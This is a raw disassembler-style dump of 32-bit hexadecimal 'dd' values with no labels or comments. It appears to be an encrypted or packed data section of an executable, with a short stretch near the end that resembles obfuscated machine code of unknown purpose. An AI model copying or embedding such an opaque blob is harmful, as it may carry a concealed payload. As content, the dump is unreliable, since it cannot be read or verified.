		dd 3EE87CB4h, 166DDD74h, 0BDFBA9BDh, 68EB8246h,	2A42E4F2h
		dd 0C011CF99h, 5C664605h, 4B856566h, 3480C4EFh,	65216D5Eh
		dd 89AA769Eh, 934D1A9Fh, 0BF9B550Eh, 0D8074794h, 0DE713F61h
		dd 5190C36Eh, 0F9498761h, 6FCBC91Bh, 0C19193E1h, 669B4F96h
		dd 0F78FD638h, 962460E3h, 0E67EB235h, 0FF687FFBh, 0B52FF4A1h
		dd 9946E77Bh, 1DF91367h, 57D78AFAh, 6B01FF70h, 0E0F4CBA9h
		dd 0C574F83Fh, 38B8EB9Dh, 2000000h, 22703C3Fh, 0E004A02Fh
		dd 4B56B3AAh, 0B29FEA39h, 0B5F258C3h, 80D4D22Ch, 0F7664F55h
		dd 11B4D625h, 7ED3A1A5h, 0FD963EEAh, 0D7785C1Dh, 0B8982C60h
		dd 770FDh, 1B9A0000h, 0D8Fh, 8F41257Bh,	0B66AFABBh, 86337D25h
		dd 323A25DBh, 0C8A9BD16h, 0CFE982E6h, 4B54AAAEh, 531148EFh
		dd 170D5450h, 0B2009EB6h, 0D4653D9Fh, 0C70348A0h, 893757D3h
		dd 6A96A5DDh, 0A8C4A0B9h, 2519BADh, 0BC86D85Eh,	0F727B4ACh
		dd 0D7822877h, 42263F57h, 77CBA96Bh, 0DBC9C4Ch,	55C6651h
		dd 533CBA05h, 0D224DC86h, 8D3D78D4h, 0B6E686BFh, 688D5C0Ch
		dd 0A12F9C52h, 0BE928EC9h, 0CEE4B036h, 37BA8B83h, 0D88A2FE0h
		dd 90EE8628h, 0DB5CFBD9h, 4A557F95h, 5CDBh, 3C3F2300h
		dd 0AF7B52Ah, 5234A7C9h, 0D26F1948h, 72570790h,	588859F4h
		dd 0EC882604h, 526F3BF1h, 1A0D4495h, 6A8A6594h,	54010958h
		dd 0F7B58A07h, 0AA6C025Bh, 0EAC6AF9Ah, 4A8DEDF7h, 0E71852C3h
		dd 0C39BECFAh, 50F28723h, 0FD26C08h, 0EA821077h, 82F64106h
		dd 0C6BC066Eh, 13Eh, 404C1C10h,	69FBFB81h, 17F8CEC0h, 4F8D6A2Fh
		dd 46F71532h, 0D7731130h, 12629E46h, 0AF3AB031h, 8287F0E4h
		dd 4B1FD18Fh, 0FD4D2F4Dh, 2A78A83Ch, 0F036123Eh, 0EFADBD73h
		dd 6F669447h, 0A24203D3h, 1F645D6Eh, 0E627D963h, 0D281854Dh
		dd 8670AAB5h, 0EA6E664Dh, 5193A124h, 5AF8549Eh,	72F00DD9h
		dd 8EF0AEBEh, 2A01653Dh, 5C944E9Dh, 0E7571EF4h,	0F62ABA8Bh
		dd 307CFF66h, 56BAEF62h, 418AF14Ch, 30C36BA5h, 933BCD56h
		dd 4937223Ah, 0BE4FCD11h, 2AF54793h, 38F96BAEh,	42E074ACh
		dd 0A3B38F64h, 0A773E146h, 35EB7766h, 544FB57h,	24A51BA5h
		dd 0DFBD8D43h, 3222F870h, 0AB3DFE6Eh, 6547E575h, 0CC1C330Dh
		dd 954430BAh, 8EECCE20h, 0BA4AF0E1h, 3EB0926Dh,	0F8695260h
		dd 0FB4F8165h, 0E16A7F1Dh, 0C67AED00h, 7FA317E8h, 0F9EB3DD7h
		dd 0FAB2Eh, 30E08500h, 9957109Bh, 29E78348h, 9C541398h
		dd 2BE58447h, 1A64AD96h, 6B40914Fh, 1DAE43FDh, 6744954Bh
		dd 0CB041FFh, 0CEBFAFA2h, 3343AE5Dh, 8C44255Dh,	0AD9DB4FEh
		dd 51A9BD16h, 0CC56F753h, 8FAB65FFh, 109A560Eh,	69013FABh
		dd 3C3F0E08h, 81DEDC8Dh, 9E153E67h, 0F0AEBEE0h,	2FB7048Eh
		dd 62D25A05h, 46E8A9BDh, 1F320C68h, 264DCD33h, 0EEF8EC42h
		dd 47C61B70h, 7B4451DDh, 477EA9ADh, 80A9753Fh, 0C49896E4h
		dd 9199C8FAh, 254C107Eh, 26263987h, 0DC4C107Eh,	0DB37223Ah
		dd 8A0A72CEh, 77E29BCDh, 581C7B66h, 0DF64D139h,	0B879C907h
		dd 0A862F22Eh, 0EE18FD0h, 0DE1225EAh, 872C5BAFh, 0D470A042h
		dd 0FFE5h, 41252D00h, 6FFABB8Fh, 0EB984E6Bh, 0DFEA8845h
		dd 97C2A610h, 2C405EE9h, 22B6DD21h, 8A28A42Bh, 7B470A9Ch
		dd 0B5F914Eh, 160A350Dh, 9052D2E3h, 0C79FBE2Bh,	39D76B09h
		dd 0E77F4421h, 12629E46h, 207EB231h, 6DE6D7Eh, 98D37ACAh
		dd 1FDB8614h, 8625D4BCh, 786AF630h, 0AF5515B6h,	214A8A0h
		dd 2E504EB9h, 96E4801Eh, 0BFFB5A4Bh, 2EF07E46h,	3331289Dh
		dd 0B622D59Dh, 535D3F04h, 9BD270FCh, 2A3B0117h,	0EDE43F20h
		dd 0ED46F427h, 1E6C2ABCh, 8614CC9Dh, 0D76BA545h, 0F2D02139h
		dd 8FE31DC9h, 79E8B991h, 0BA59F581h, 73DE9313h,	0F24B57FBh
		dd 1D7F1DFFh, 8EF7FED0h, 0DDC898CDh, 0E24h, 18A967FEh
		dd 0CB20D093h, 1BB06000h, 0CC1DD390h, 1DAE62FFh, 0C0A1E326h
		dd 72F0BB10h, 0C49E2DBEh, 70F4B70Ch, 27912BC0h,	5DCC3038h
		dd 0DCBAC6AEh, 0FB35AF1Ch, 1091A967h, 814A9F51h, 0E0962BE5h
		dd 0BB8F4125h, 0ECB66AFAh, 16838BD6h, 7537A9BDh, 48B37CDDh
		dd 0C3CDDD9Ch, 0E818CCEDh, 0BBA35094h, 45853C48h, 9CD00B67h
		dd 66E1B0B4h, 0EF4B8565h, 3C0EAEC4h, 0E5E6D40Eh, 9B79C907h
		dd 29C794BFh, 9E6CCC80h, 0C1914F1Dh, 3FE987E3h,	68211810h
		dd 9E009ED5h, 3F7767FAh, 940EB93Fh, 1EC8DF0Ah, 0D7666033h
		dd 0E27F4C9Eh, 32801E2Eh, 17602F1Fh, 79D1D383h,	0B6F675E0h
		dd 838BD6ECh, 37831760h, 0C43DD75h, 998598Dh, 6D40B494h
		dd 0C1EFBBBAh, 0FF989E8Eh, 0CB9624E7h, 0E7FF9843h, 7BD7B577h
		dd 0BAD66240h, 0EB764C26h, 0A742D263h, 0FE32B297h, 76CEB06Eh
		dd 0F47455EDh, 0D2090150h, 0EFADA742h, 5CF3BD8Dh, 0A742D2ECh
		dd 0DA721412h, 0A2109A7Ch, 42D2BFAFh, 96143A7h,	0E0E762E9h
		dd 0DDABC907h, 8579779h, 0ADFB3602h, 42EAAAA2h,	0F64E50A7h
		dd 352C962Ch, 0A742EA35h, 0C67AE8C9h, 0DC518CE8h, 0A4B176E7h
		dd 0BD954B17h, 5A21B682h, 0C99B20B7h, 0E87CB434h, 0CFE44C2Ah
		dd 4AE76C4Dh, 0A495B28Ah, 42D63235h, 0A35D0CADh, 0BC90401Eh
		dd 86F886DEh, 23A81AA8h, 0DAB88C44h, 0EB25C182h, 5F9155D6h
		dd 9308C68Eh, 9520506Ch, 0C98h,	0AC3DF372h, 378C441Fh
		dd 0A73CF474h, 38894724h, 0A93AF673h, 5C0D77BAh, 0EE7C4FA4h
		dd 580AA132h, 0EC7853A8h, 0B3FD9F34h, 5DCDAC9Ch, 702652AEh
		dd 0BB8F4125h, 4B555514h, 0D1F2C114h, 763F605Ah, 0E5D4B6A5h
		dd 71673F54h, 16D1FAC8h, 0B08C8ADAh, 0BC5A122h,	0C5911F69h
		dd 0B9F81547h, 17A8C458h, 0B0B8A74Dh, 0A7167E9h, 67E9D757h
		dd 9B29EB71h, 0F22EB8F9h, 0D8E2C462h, 0A1B977F3h, 37E97B50h
		dd 1DD63823h, 208F6C22h, 4180BB27h, 0E94FC110h,	655BE59Bh
		dd 19C72FAh, 0CEA68806h, 52A87293h, 1B67D9C3h, 0D9B74BEh
		dd 77BCACA3h, 8142B4AEh, 7C1A2AE6h, 49C1901Ah, 6DB4AE77h
		dd 59A893AFh, 811BC75Fh, 6F28202Fh, 0D0CE0601h,	0FC7FE674h
		dd 106FE2B0h, 0C3D90D34h, 0D4CBE393h, 742CA8B7h, 0B3430E59h
		dd 4E061F1h, 345DFBCCh,	9FD1B454h, 0BA314h, 38E87D00h
		dd 0A15F08A3h, 31EF7B50h, 0A45C0BA0h, 33ED7C4Fh, 126CA59Eh
		dd 83489957h, 15962BE5h, 7F4C9D53h, 49829E7h, 0CAA7A7BAh
		dd 8B5BAE5Dh, 703C3F75h, 0F592F22h, 4C6D1BA8h, 1210649Ch
		dd 71BEFF3Ah, 0E6D3DE3Ah, 2A548F70h, 5C945576h,	0A9320A08h
		dd 42035755h, 5CCC83A1h, 62CA940Bh, 7ECE02E1h, 4BA0FEA0h
		dd 1929E780h, 0A9F7BBB2h, 0F92DBFB6h, 58E6A614h, 9C8D739Ch
		dd 4DC20FA5h, 0DA6A2CBAh, 6FF7C46Eh, 94BDA1B1h,	10D519FFh
		dd 0C296AED0h, 0D677F09Dh, 25B6D808h, 9061F11Ch, 9D8E1E2h
		dd 0E7407BD7h, 10760EB9h, 0DE0EB3C1h, 5609DC4Eh, 7E04545Eh
		dd 0BB0C413Bh, 0FA17BD7h, 421E3FAAh, 3CABF08Eh,	0CF6D6804h
		dd 96E87ABAh, 5B35622h,	734E6051h, 6B41860h, 73A5A5BCh
		dd 0BB5919E8h, 2A0D519Fh, 0BAB29D76h, 4019E8FAh, 0BB0CFA5Eh
		dd 8D1EB3D1h, 0B5626DAh, 0EAA4B365h, 916BF561h,	0AD64B4D4h
		dd 189EAA95h, 0B989A954h, 0C1995710h, 4001B896h, 0A5814F24h
		dd 88B82B62h, 0D10FD873h, 0DAB45681h, 0C692567Eh, 917813C7h
		dd 0C5F04CABh, 9AD4F6BFh, 8C4422A7h, 763A27B0h,	8C1898F7h
		dd 0DB8932BCh, 0E6294D25h, 1ABE3CA7h, 0EFB295A4h, 0C77E5331h
		dd 2C962488h, 0AB43CB96h, 0B5771891h, 5F86A29Dh, 0A3CF383Ah
		dd 40CB1661h, 478DC611h, 9A7CEA44h, 0B487FCAh, 38DBBEE7h
		dd 45113D91h, 0CCA7250Ch, 0D1A73AFDh, 7B63A98Eh, 0F6A9064Eh
		dd 0D1000001h, 22703C3Fh, 1649C190h, 0AF6DA9BDh, 9B70993h
		dd 0BD16D656h, 122AECA9h, 9EEF6827h, 632BFBC2h,	9D132719h
		dd 0C5954B1Ch, 78F078E7h, 2806B7C9h, 13A3AE4Ch,	0F7519118h
		dd 0EC24C485h, 0CEDCBA58h, 32C779EDh, 3F13CD99h, 0D12C5414h
		dd 0EC78CD9Dh, 25F5A467h, 892E0441h, 60C281FDh,	0DBFE5F57h
		dd 0E4CF6B09h, 4F548369h, 7FA0789Ah, 0C6A46105h, 0D4F1569h
		dd 6703A15Fh, 1D20ED6h,	0C79ABA2Ah, 4DD41547h, 682FD7E5h
		dd 0A7351A4Ch, 0CD3A705h, 0C3885951h, 0D758EC24h, 2B00D10Fh
		dd 4BF585BBh, 863AC91Bh, 0DF7BE58Ah, 9B9949F4h,	9350792Ch
		dd 18DA055Dh, 934CE6D5h, 0EA26C207h, 5F6AA046h,	0CBA7319Ch
		dd 54263990h, 68C0C281h, 7CD3DDA7h, 31D4A68Ch, 47D87432h
		dd 0BB90619Fh, 0D656092Bh, 0EC31D4A6h, 48F8692Ah, 104F1666h
		dd 5430E9Ch, 90E6BB8Eh,	0C6D21C78h, 0A7F04E83h,	0E3732458h
		dd 4E1BB041h, 641BC292h, 0B60F4250h, 0FE775694h, 58F42CBDh
		dd 0FB38525Dh, 20022FDFh, 0CA33DE2Eh, 0E2697A1Ch, 0BD7ECE02h
		dd 0F460F42Ch, 0B62E5F00h, 0DC8B307Ah, 0FA525024h, 0DE12D259h
		dd 3888C78Eh, 923E2129h, 0B5D7D5EFh, 72F4D5EBh,	69BBA6BEh
		dd 0F4EB3DE3h, 717E99F2h, 69A884D4h, 2BFD38D3h,	0C696C10Fh
		dd 0C0FE0CFAh, 9CB868FBh, 0D8E9AB43h, 2BE5814Ah, 60E17917h
		dd 2EF84C84h, 4E26DA8Dh, 2535EB7Dh, 2EBB00C2h, 0EAD35B06h
		dd 45E7E7ECh, 50806267h, 32461EFCh, 0CC4A0EDh, 0DD70F4B7h
		dd 9FB3D10Fh, 236D4538h, 0B344462Ch, 9F4B701Fh,	4C2AE67Eh
		dd 287AC5F0h, 1CA64E12h, 8A4625A6h, 0FD6DDCBAh,	1AFD630h
		dd 10C4723h, 0B2662F0Ah, 0C2895A3Ch, 0D25CF020h, 0ABC779E9h
		dd 27713934h, 0F7E7338h, 493BEAD4h, 0E1D012CFh,	9A698E7Fh
		dd 7E5351A3h, 49412578h, 0E85533A0h, 82CDDB42h,	0A9BD278Ah
		dd 0BB106E30h, 8686D9E7h, 3CA9BD27h, 205B025Ah,	5E53FE8Ch
		dd 0C5597ACFh, 0A9C1055Eh, 260BC6F3h, 0C5378C1Eh, 21E464FBh
		dd 7C1A341Eh, 94C8901Ah, 3B83273Dh, 7113CD9Bh, 0E87A3FD9h
		dd 5E08A338h, 500BD2A2h, 0A5034E5Ch, 111A0B55h,	92B8B09Fh
		dd 603E062Dh, 1518F5Bh,	0EE0C4723h, 19B7A9FDh, 0F36AABC8h
		dd 9C1DCF6Fh, 0BD2C14CCh, 1D130238h, 9DA8BCDAh,	542C9D99h
		dd 0D5E141E8h, 935079F6h, 330F0D5Dh, 0E69EB7AAh, 0FE678D8Fh
		dd 0EE612F7Bh, 0AC77FFF7h, 0A037FE5Eh, 9B35247Ch, 6CBD8413h
		dd 0BF71F5D6h, 35755A3h, 0FD28A242h, 6CBCC2CCh,	0DE926341h
		dd 408241ACh, 74A8530h,	41240000h, 0F6713A8Fh, 4622A93Ah
		dd 0F572398Ah, 4425A63Bh, 0C50C378Ch, 0A132EE7Bh, 4FA45C0Ah
		dd 0A536EA7Ch, 51A25E06h, 1E0E416Bh, 0A4AE5DF7h, 0AF1CBED4h
		dd 0AA68FC34h, 9B4EE486h, 8CE8E3DDh, 8C1696D5h,	64232B36h
		dd 0D5D7A9BDh, 0B5ACA37Dh, 9C29621Ah, 0DCA7D51Dh, 0FE65A1C5h
		dd 0B3FB4A2Ah, 133E97h,	0A843AA24h, 0D9045856h,	55B5691Fh
		dd 2877BC86h, 8C7B66BAh, 0F98C6642h, 0D1B35480h, 0B4C878E8h
		dd 0F937B5F6h, 0E0068A61h, 134AEF08h, 74000001h, 0E34699BBh
		dd 0D645C4D4h, 4E792564h, 498E99C3h, 7B002DEFh,	556B35EBh
		dd 42E9020Ah, 0A5962256h, 71E16AD9h, 48A9C163h,	7AE8E39Dh
		dd 87DAE8C6h, 0BB5109Ch, 0CBF5DEA7h, 0BC86B373h, 2AB3B8ACh
		dd 79B73398h, 0A9BD5ECEh, 0AAC26421h, 4F6151h, 21A9BD08h
		dd 2034EC7Bh, 9AB27482h, 6B505A3Ch, 723044FCh, 0AD39FADAh
		dd 94C45E73h, 29BA0E24h, 0A1C563F7h, 253D2BB6h,	0A0EAC0BEh
		dd 627341B1h, 75080850h, 321F9C79h, 0C14F43DAh,	0D709D7E4h
		dd 1E004E7Bh, 47F96D4Eh, 5D935079h, 7FF17405h, 5AF66937h
		dd 0B994596h, 0A754FCF6h, 0B26D222Fh, 70590338h, 0D62440F0h
		dd 0EBF68628h, 3434A0A6h, 0C06BD53Dh, 0E5CEF9E8h, 0D213116h
		dd 5A26541h, 7455634Bh,	6E2C40F0h, 0F2764CD6h, 650872A7h
		dd 0D904601Ah, 0D692F553h, 86A52ECAh, 47055463h, 3F4DE346h
		dd 1931EF7Ah, 5B702EC0h, 1BAC6h, 0FC6CFC00h, 58C7BFBCh
		dd 7C91BFCCh, 0A1034F02h, 0A61CC3C9h, 0BD16B3BBh, 0D4540BA9h
		dd 0EAA9BD16h, 60FC9A2Ch, 45E482F9h, 7C01FA09h,	0F7954B19h
		dd 0C5540B95h, 0BD46C980h, 18EC5CF3h, 14127B31h, 942EFD38h
		dd 0D296D23Dh, 0AADE7919h, 468FABC1h, 84F1141Bh, 9C4B7007h
		dd 3A121064h, 6AF8B90Dh, 0C384D8B6h, 6FD6EB25h,	0D40CDCEBh
		dd 5679E8B2h, 0DB5C4F9h, 25B4D9C6h, 1765DFEAh, 0DC925866h
		dd 0D8802A3Ah, 0D2C2A0FDh, 143F1BA7h, 35680048h, 0DB7A8AD9h
		dd 1AE67203h, 93BAA514h, 3448F866h, 0A33C1876h,	0A68250AEh
		dd 294FA221h, 1E1B51E6h, 461EBE8h, 0A9000001h, 216F3B3Fh
		dd 3E2E218Fh, 0C4A9BD16h, 16F777E2h, 90BA9BDh, 24F86731h
		dd 1E59B98Bh, 5ECECC9Dh, 1759214Fh, 74324264h, 33EDDD8h
		dd 0D8628C48h, 0A5BD73F3h, 45D315BAh, 0E105EB6h, 4EEF7D3Eh
		dd 0A73C5A96h, 22703A3Eh, 4515CB99h, 1E310B67h,	2A2F2B09h
		dd 0B26EFCBDh, 0ABF179E8h, 2705AA1Fh, 3D20104Bh, 388A5BF2h
		dd 7A5D2129h, 72F4D55Ah, 0FB84E0BEh, 4CE18247h,	36466898h
		dd 4D1DD395h, 2A152D4Fh, 93FFEB91h, 0DF8B30FAh,	0E9AB4921h
		dd 98481A9Fh, 3DB19CBCh, 8581E494h, 0D969A744h,	0F6341F3Bh
		dd 11351239h, 7DA776C0h, 4F179CABh, 6600C191h, 0C3E11FC7h
		dd 0DE81D5AFh, 0D522692h, 16164977h, 0AC0DFFA7h, 6FEB52EAh
		dd 98E26D3Bh, 65584389h, 0A0B5FD14h, 30E07F4Ch,	6FF7CB14h
		dd 38F4DE2Fh, 26112918h, 0CD5FA5FFh, 70F0D123h,	580BACC0h
		dd 1AA806A8h, 491B32B1h, 0C765F597h, 254C4AABh,	838AC41h
		dd 0CAD8B674h, 16E169F8h, 1715A9BDh, 0CA9A1B3Bh, 95368C16h
		dd 38301FD1h, 0BEA9BD16h, 72F384E0h, 0E4E5B3F7h, 0A670CC04h
		dd 0CF8965BBh, 8C586139h, 86BDF854h, 0AFBD9786h, 53FDF8A2h
		dd 0D5D727B2h, 5DE45A85h, 0D9E26711h, 0A17FD30Dh, 0B9894720h
		dd 9D547FDBh, 12DC60D1h, 0B855A827h, 0B3A158C8h, 886DA394h
		dd 7FB332CAh, 0DB000000h, 22703C3Fh, 8A18C899h,	0BD1657D7h
		dd 91A96BA9h, 0AE225807h, 6BB09A8h, 0FAFE6714h,	90FF43CFh
		dd 1FFD6F5Fh, 4454004Bh, 7D3EB073h, 832131EFh, 0D1ACECE7h
		dd 3596B2AEh, 9E67EB2h,	0D8D6D0D8h, 4918AADDh, 0DC2317C1h
		dd 5E9254F5h, 0CA6E100Eh, 0CE84E4F3h, 0BD1B3754h, 7B094E2Ah
		dd 686EC3EBh, 0A0BCB2C1h, 41CD43C9h, 8DC4EE1Eh,	0DC23799Dh
		dd 0A8BC74EEh, 223ADCEAh, 14333h, 4C1C5B00h, 0A7647FC7h
		dd 41025AC8h, 9C1D6BA5h, 193911CFh, 8917C998h, 9C202837h
		dd 0D8D6A9BDh, 0BDB5C7Ch, 71F5CBD5h, 0D9ADFA08h, 3D2D1CE7h
		dd 0C1A9BDE3h, 0C66787E3h
		dd 0D011E21Eh, 134ABF58h, 994A26C1h, 9024FC1h, 2203AC7Fh
		dd 0B60BC5A1h, 8092D6ECh, 0D98E3F56h, 6E7EEE59h, 0A284E1ACh
		dd 0B36DF9CAh, 0C907E4E5h, 7FFA6171h, 2CF25D2Bh, 0B9F1591Fh
		dd 0F43DB543h, 6E57A8B7h, 2A8FE979h, 0DC3A3BAh,	193D5F3Dh
		dd 0DE02C9Fh, 9E3C18ACh, 77444E50h, 0B61733EDh,	52604C0Fh
		dd 0E0532DFFh, 28C138A2h, 273AD7E2h, 1EE730Eh, 18A284F2h
		dd 4D1C31B3h, 0BF59F193h, 196B6FFAh, 256596A2h,	1EAD3E60h
		dd 36408D43h, 0BE1B85h,	23E45F0h, 4D180000h, 0FA6D3E93h
		dd 4A16B546h, 0F9664596h, 4819B247h, 0C9004398h, 0A536EA77h
		dd 53A85806h, 0A132EE78h, 55A65A0Ah, 1A123D67h,	0A0AE5DF0h
		dd 4C1CB2D0h, 0ADCE1E31h, 0FB35B53Eh, 6FCBA967h, 5DB733AEh
		dd 0A5A5BC3Eh, 59A9BD02h, 59B293BBh, 1F1E0E41h,	2A4A9BDh
		dd 8C441FA4h, 0EEBCDAB8h, 0B769F7C4h, 0D25A05A3h, 0E8A9BD1Fh
		dd 0FECD2E46h, 5D19AA66h, 22703C3Fh, 381F6A2Fh,	0F6DAF971h
		dd 2E23CABFh, 7D9E5A25h, 5EEEB03Eh, 13B46273h, 0D51E4A6Eh
		dd 0E1849A45h, 92640D33h, 6442C9BBh, 645BCD08h,	756CDC42h
		dd 38E7C57Ah, 450AEE8Bh, 841C7EF2h, 104C242h, 250C0000h
		dd 13FAC41h, 81D1B371h,	0A05012B7h, 0B576CECCh,	5D68FC34h
		dd 0F44495C7h, 2ABEF58Eh, 24436E56h, 0BDE15BFCh, 1D6C6EF6h
		dd 0AB65059Fh, 4ACA7783h, 8E5D5E2Ch, 2E3EF26Fh,	0A5360E70h
		dd 0F62ABCFDh, 0E719CD5Eh, 0BE72F0D9h, 38ABF0AEh, 0C58C6C08h
		dd 6BA54386h, 50D07F09h, 0B9870174h, 445A356Dh,	75B4D702h
		dd 0E1D182D1h, 81D10FD8h, 0C24A15A3h, 0F81ED372h, 0DEC01E36h
		dd 0D694350Dh, 11CF991Ah, 0E3C78239h, 0BC74F4D5h, 3E4B16A0h
		dd 0C55BE264h, 97A04A6Dh, 90694B96h, 0E3919D7Ch, 91527741h
		dd 5836EA7Ch, 69A74304h, 64652F0Bh, 41FF6885h, 2CBD8E63h
		dd 0C853E3F4h, 9DBBD29h, 0C31Eh, 18C89D00h, 0C17FE8C3h
		dd 11CF9B30h, 0C47CEBC0h, 13CD9C2Fh, 0F24C85BEh, 0A328B977h
		dd 0F5B60BC5h, 9F2CBD73h, 0E4B809C7h, 0F18787DAh, 2B3BAE5Dh
		dd 8C442555h, 40F07437h, 34B217ABh, 0F3914F19h,	41259157h
		dd 6AFABB8Fh, 0A9A025B6h, 0EC8A461Eh, 0CD3D149Eh, 0F1A9BD16h
		dd 0D27D1733h, 33F11F33h, 984FAC9Ah, 239AC7ADh,	0D7A3FD67h
		dd 52F38725h, 0BE8D5E92h, 6F5AEA26h, 9FB687BDh,	62046C28h
		dd 73479205h, 0B4E2CCD6h, 7B94C4CEh, 0BDE040C4h, 0DA7D51E9h
		dd 0B3FD33B3h, 0BADA52FDh, 3EE0D34Ch, 6EF6D526h, 4221A2B2h
		dd 1612BE8Eh, 18C89CF1h, 69A7418Ah, 0CE1F3BD9h,	0A3B769FDh
		dd 318h, 3F577A00h, 0BC904025h,	0A5B56BFBh, 0BE8E4224h
		dd 0A1B16FFDh, 0BB8F4120h, 0A1B16FFAh, 0BD8D4320h, 0A0B46CFCh
		dd 0B88C441Fh, 4EC83E1h, 89242C89h, 4C581E5h, 83000000h
		dd 2C8704EDh, 0A9685C24h, 8900005Dh, 89572414h,	4C781E7h
		dd 83000000h, 3C8704EFh, 2C895C24h, 0D5C16824h,	148B07E0h
		dd 4C48324h, 5868h, 24248900h, 4240483h, 0B850525Dh, 67DA1032h
		dd 4244401h, 8458F58h, 32086D81h, 0FF67DA10h, 815D2434h
		dd 4C4h, 2434FF00h, 4C4815Ah, 0E9000000h, 0FFF80AE6h, 3EBF265Dh
		dd 0AB6C4697h, 0E0E870B8h, 0FFC50307h, 5042EAE0h, 695CEB37h
		dd 0D0B9A303h, 59A4E674h, 0CD09223Ch, 5F144B16h, 0F5E3D97Ch
		dd 596B4F4Dh, 60C10764h, 0A4F7191Bh, 6B5CB823h,	151B7A02h
		dd 0E4FC9B14h, 671A306Ch, 0F9F0391Ch, 0EF743056h, 20BE770Eh
		dd 0BC1A2449h, 8D446148h, 7D2F934Ch, 9A607229h,	4238774Eh
		dd 0DA487679h, 0C229F274h, 0A24EB33h, 0EE110B10h, 0C4215B03h
		dd 64D0BA07h, 7194B32Ah, 0AD3B4946h, 845B2F4Eh,	51C5A318h
		dd 0CE844h, 93350000h, 0A5D607C6h, 82013818h, 8B663DE7h
		dd 0E6815BCFh, 4000AC9Dh, 6237C381h, 69BF0000h,	0F000018h
		dd 168Eh, 0AE800h, 58A30000h, 0B93FB571h, 0F59C5DC6h, 800Fh
		dd 0FF5E0000h, 0E8816033h, 3900622Ch, 0C2815A61h, 6A3333A9h
		dd 3CF281F8h, 0B90940A8h, 90D78D9h, 87EAEA81h, 565221ABh
		dd 860F57h, 5E000000h, 0F038F5Eh, 82h, 0ADEB8100h, 0F7B32BFh
		dd 0C381C3BFh, 7B32BFA9h, 6810Fh, 0C8810000h, 6C1BBB38h
		dd 0F01EF83h, 0FFFFA685h, 0B58D8DFFh, 0E807E0EAh, 0Bh
		dd 4CE7EB0Eh, 74AA05E6h, 89DFBB4Bh, 0D30DBDB5h,	8D895807h
		dd 7D32941h, 0A185C7F9h, 9007D32Bh, 6A00005Fh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 0DBB7C352h, 331185C7h, 7D3h,	0AEBB0000h, 0FF7C0E64h
		dd 0D31A79B5h, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 5C5793B4h, 0FF4D796Ch
		dd 5E937h, 8CDE0000h, 0FF4E8CD6h, 0D32D3D95h, 198D0107h
		dd 6A07D324h, 1995FF00h, 8B07D330h, 0FA1BEBC0h,	94660BC8h
		dd 596C3CABh, 8F9DA378h, 82E2090h, 160CF0B5h, 0DAA226D6h
		dd 0ECE91E58h, 0
		dd 37000000h, 37C8106h,	587C81CEh, 57C80C0h, 0ED7C9010h
		dd 7C9010h, 276F200h, 5	dup(0)
		dd 0A0000000h, 7C80ADh,	2Bh dup(0)
		dd 6000000h, 2C000000h,	22326DA9h, 491611EFh, 0D885EC06h
		dd 0F9B1EC07h, 25E106D7h, 923B6066h, 5B1528DBh,	5D461561h
		dd 0E2B94636h, 113604DEh, 8DB79C66h, 0C935C67Eh, 0F91A1CFBh
		dd 4AE1EA61h, 0B58F963Eh, 4435C641h, 71620212h,	113604DEh
		dd 8DB79C66h, 0C935C67Eh, 0F916EDFBh, 4AE1EA61h, 883CFC3Eh
		dd 89661566h, 0C44577BBh, 2DE37E68h, 0D0EB4F14h, 4432068Fh
		dd 5D48C166h, 7268096Bh, 0DBA2EDC8h, 64541ABCh,	0FB8C7D42h
		dd 1132048Fh, 0E2E41766h, 0F3E9B2E9h, 9B5845B7h, 6F95691Dh
		dd 38524641h, 443EFD13h, 0CCE51566h, 0BAFF7705h, 842F2C11h
		dd 0CA3DCE6Bh, 22321566h, 0FDB17439h, 0AC3E9C62h, 8CBBD4EFh
		dd 2223FC3Fh, 0DBEB1566h, 3B464725h, 0CFE49025h, 3067EC93h
		dd 0F8A5D6D8h, 88321561h, 287B0BACh, 0A1FCB012h, 0F1D8E3DBh
		dd 0C3D1561h, 44321528h, 0FC8D7306h, 94BF7494h,	8FD28894h
		dd 4BE2EA9Fh, 223219EAh, 17B11A66h, 87321566h, 443215EEh
		dd 0B79866h, 7135F5F8h,	942CEE6h, 26037887h, 36DB7404h
		dd 0E321566h, 4A1399F9h, 96C91CC8h, 0DCD7D94Ch,	0E29F5BCDh
		dd 77647965h, 0C1F4E0B6h, 25E10DB7h, 0FBB27530h, 0DA5A74E8h
		dd 24AEBDDEh, 22339369h, 77CB1566h, 289BC6E7h, 0B587EA07h
		dd 0DA35C66Bh, 0C0851A06h, 6672AE35h, 25683217h, 215890EBh
		dd 9F3D12BAh, 88321567h, 0ADE2EA9Eh, 2232156Bh,	0A240E251h
		dd 0DCD07E67h, 8EEF70BAh, 223FFC09h, 228F1566h,	18DF282h
		dd 5D1501F2h, 0AB95BBFEh, 0C22198E3h, 89B31A61h, 0B8321566h
		dd 0AFB7D293h, 1135C649h, 70321566h, 4432058Fh,	0EFA96866h
		dd 0ACD8EAACh, 0AE6F3DBh, 5E38D1DAh, 0F3B7D30Ch, 5435C67Eh
		dd 0D1CB4606h, 4432108Fh, 0DD872466h, 7953DA89h, 6407C0Fh
		dd 0FF887306h, 2222FD45h, 28451566h, 533F197Bh,	9CD0D2A3h
		dd 71C1E86Fh, 0C6B24429h, 77534C5Dh, 973370D3h,	0CBCB7561h
		dd 1132156Eh, 8B124E9Fh, 0D8AC1CADh, 15B79807h,	7135C65Ch
		dd 0CAE9CCE7h, 0BB532283h, 25B81AB6h, 1E321566h, 883214EAh
		dd 0CDCBEC66h, 0F129FCE3h, 1126FC61h, 0C3F41566h, 0A03A32FBh
		dd 0D1E926FCh, 756F4B17h, 0E2A890C9h, 0C1F409DDh, 25E10DB7h
		dd 17B61A25h, 0E8321566h, 92B97406h, 7C5AE907h,	71AE720Dh
		dd 9ADAC2EDh, 0F321566h, 9BD07B94h, 0D1FBDE25h,	9DD69C09h
		dd 629D7AD0h, 0D9EF959Fh, 0A4CD743Fh, 8FE11403h, 44321D8Fh
		dd 43757D66h, 18F1CD2Ah, 0BFB798C0h, 0BD35C65Ch, 0AC3DC599h
		dd 1132156Fh, 0BFD6AD06h, 25525BE5h, 0FCB79C07h, 1E35F58Ch
		dd 88321EEBh, 0FB3D7566h, 22BC1A9Ch, 70321566h,	88369F69h
		dd 0CE521566h, 0A7F47496h, 16E10DB7h, 0A15AE932h, 0ADDC770Eh
		dd 22321572h, 3A9974EAh, 2C3247B1h, 3E593DDh, 24CF8F50h
